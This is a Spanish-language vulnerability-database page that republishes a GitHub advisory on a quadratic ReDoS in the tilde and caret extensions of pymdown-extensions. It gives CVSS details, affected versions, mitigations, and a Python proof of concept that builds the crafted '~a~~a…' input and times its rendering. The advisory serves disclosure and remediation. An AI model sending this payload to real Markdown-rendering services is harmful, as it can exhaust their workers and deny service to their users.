llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · pymdown-extensions

GHSA-W3P6-XVP9-C78V

ReDoS cuadrático en el procesador inteligente por defecto de pymdownx.tilde y pymdownx.caret

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -77 d de la divulgación
Exposición14 dDesde la divulgación, 7 nov 2026, 11:08 a. m.
Detección11 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Si el fabricante actualiza el aviso, vuelve a mirar.Ponle fecha: las tareas sin fecha son leyendas.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 11.0.2
Monitoreo
Detectada +1
22 ago 26
7 nov 26
18 nov 26
21 nov 26
22 ago 26
14 sept 26
7 oct 26
29 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 11.0.2 pymdown-extensions · -77 d desde divulgación
Divulgación Publicada GHSA-W3P6-XVP9-C78V divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

En pymdown-extensions 11.0.1, `PatternSequenceProcessor.handleMatch()` prueba cada expresión regular de `TildeSmartProcessor.PATTERNS` en cada `~`. Para `~a~~a~~a...`, `SMART_DEL_SUB3` recorre la mayor parte del sufijo restante antes de fallar, lo que produce un trabajo cuadrático. Un atacante no autenticado puede llegar a esta ruta a través de un servicio intermedio que habilita explícitamente `pymdownx.tilde`, acepta Markdown controlado por el atacante y usa las opciones por defecto. La biblioteca no tiene límite de longitud de entrada ni límite de tiempo de renderizado. `pymdownx.extra` no habilita `pymdownx.tilde`.

Se puede observar un comportamiento similar en `pymdownx.caret`.

Cabe señalar que la ruta de procesadores en línea de Python Markdown no es lineal, por lo que no todo el trabajo cuadrático medido puede atribuirse únicamente a la implementación de Tilde. Las correcciones razonables dentro de Pymdown Extensions no impedirán todos los riesgos de trabajo cuadrático, ya que Python Markdown no procesa el trabajo de forma lineal, y esta es una extensión para Python Markdown.

Patrón vulnerable y registro:
https://github.com/facelessuser/pymdown-extensions/blob/c68498598d7b13011bb4571350b6e3612a4ce44b/pymdownx/tilde.py#L78-L110

Configuración por defecto:
https://github.com/facelessuser/pymdown-extensions/blob/c68498598d7b13011bb4571350b6e3612a4ce44b/pymdownx/tilde.py#L144-L179

Despacho de patrones sin límite:
https://github.com/facelessuser/pymdown-extensions/blob/c68498598d7b13011bb4571350b6e3612a4ce44b/pymdownx/util.py#L317-L335

PoC

Para demostrar qué puede mejorar específicamente Pymdown Extensions, fuera de Python Markdown, se compara con una extensión base sencilla. Las mejoras deben compararse contra una línea base, ya que el propio Python Markdown puede ser responsable de una parte del trabajo cuadrático y quedaría fuera del alcance de cualquier corrección aquí.

Precondiciones:

  • pymdown-extensions 10.13–11.0.1
  • `pymdownx.tilde` habilitado con opciones por defecto (que se especifican explícitamente por si cambian los valores predeterminados)
  • Markdown controlado por el atacante sin límite de tamaño de entrada ni de tiempo de renderizado

( P.D.: este reproductor no ejecutado consume CPU; no aumente sus tamaños en sistemas compartidos o de producción)

import time
import markdown
import xml.etree.ElementTree as etree
from markdown import Extension
from markdown.inlinepatterns import InlineProcessor

class TestProcessor(InlineProcessor):
    def handleMatch(self, m, data):
        el = etree.Element('span')
        el.text = m.group(1)
        return el, m.start(0), m.end(0)

class TestExtension(Extension):
    def extendMarkdown(self, md):
        test = TestProcessor(r'%([^%]+)%')
        md.inlinePatterns.register(test, "span", 40)

ranges = (500, 1_000, 2_000)

print('=== Baseline ===')
for blocks in ranges:
    payload = "%a" + "%%a" * blocks
    started = time.perf_counter()
    markdown.markdown(payload, extensions=[TestExtension()])
    print(blocks, time.perf_counter() - started)


print('=== Tilde ===')
for blocks in (500, 1_000, 2_000):
    payload = "~a" + "~~a" * blocks
    started = time.perf_counter()
    markdown.markdown(payload, extensions=["pymdownx.tilde"], extension_configs={"pymdownx.tilde": {"smart_delete": True}})
    print(blocks, time.perf_counter() - started)

El tiempo de ejecución debería crecer de forma superlineal (o más cerca de ello, según las limitaciones de Python Markdown) a medida que `blocks` se duplica. `NOT_TILDE` solo maneja secuencias de tildes rodeadas por espacios en blanco, por lo que no coincide con esta entrada. Después de que `SMART_DEL_SUB3` falla, `handleMatch()` devuelve `(None, None, None)` y Python-Markdown continúa con las siguientes posiciones de tilde, repitiendo el recorrido del sufijo. La versión 11.0.1 solo modifica `SUB2`; deja `SMART_DEL_SUB3` sin cambios. Se debe reescribir la coincidencia de delimitadores para que cada sufijo se recorra una sola vez y añadir una prueba de regresión que verifique un escalado lineal.

Impacto

Un servicio de red downstream que renderiza de forma síncrona Markdown no autenticado puede ver agotados sus workers mediante solicitudes repetidas. GHSA-gm37-52c6-37mw / CVE-2026-67422 cubre el ReDoS exponencial en `SUB2` e identifica 11.0.1 como versión corregida, pero no describe esta ruta residual de `SMART_DEL_SUB3`.

Mitigación
  • `pymdownx.tilde` y `pymdownx.caret` pueden deshabilitarse en sistemas que no toleren este tipo de problemas.
  • Cabe señalar que el procesamiento de Python Markdown no es lineal en general, por lo que debe tenerse cuidado al decidir dónde emplearlo. Aunque es excelente para documentación, ejecutarlo en un servidor crítico y aceptar entrada de usuario no confiable sin usar tiempos de espera y sin restringir entradas grandes no es recomendable.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
pymdown-extensions≥ 10.13 ≤ 11.0.1
10.13
11.0.1
13.1.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipymdown-extensions
Corregida 11.0.2 -77 d 13.1.0 no afectada
Versiones corregidas11.0.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-w3p6-xvp9-c78v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.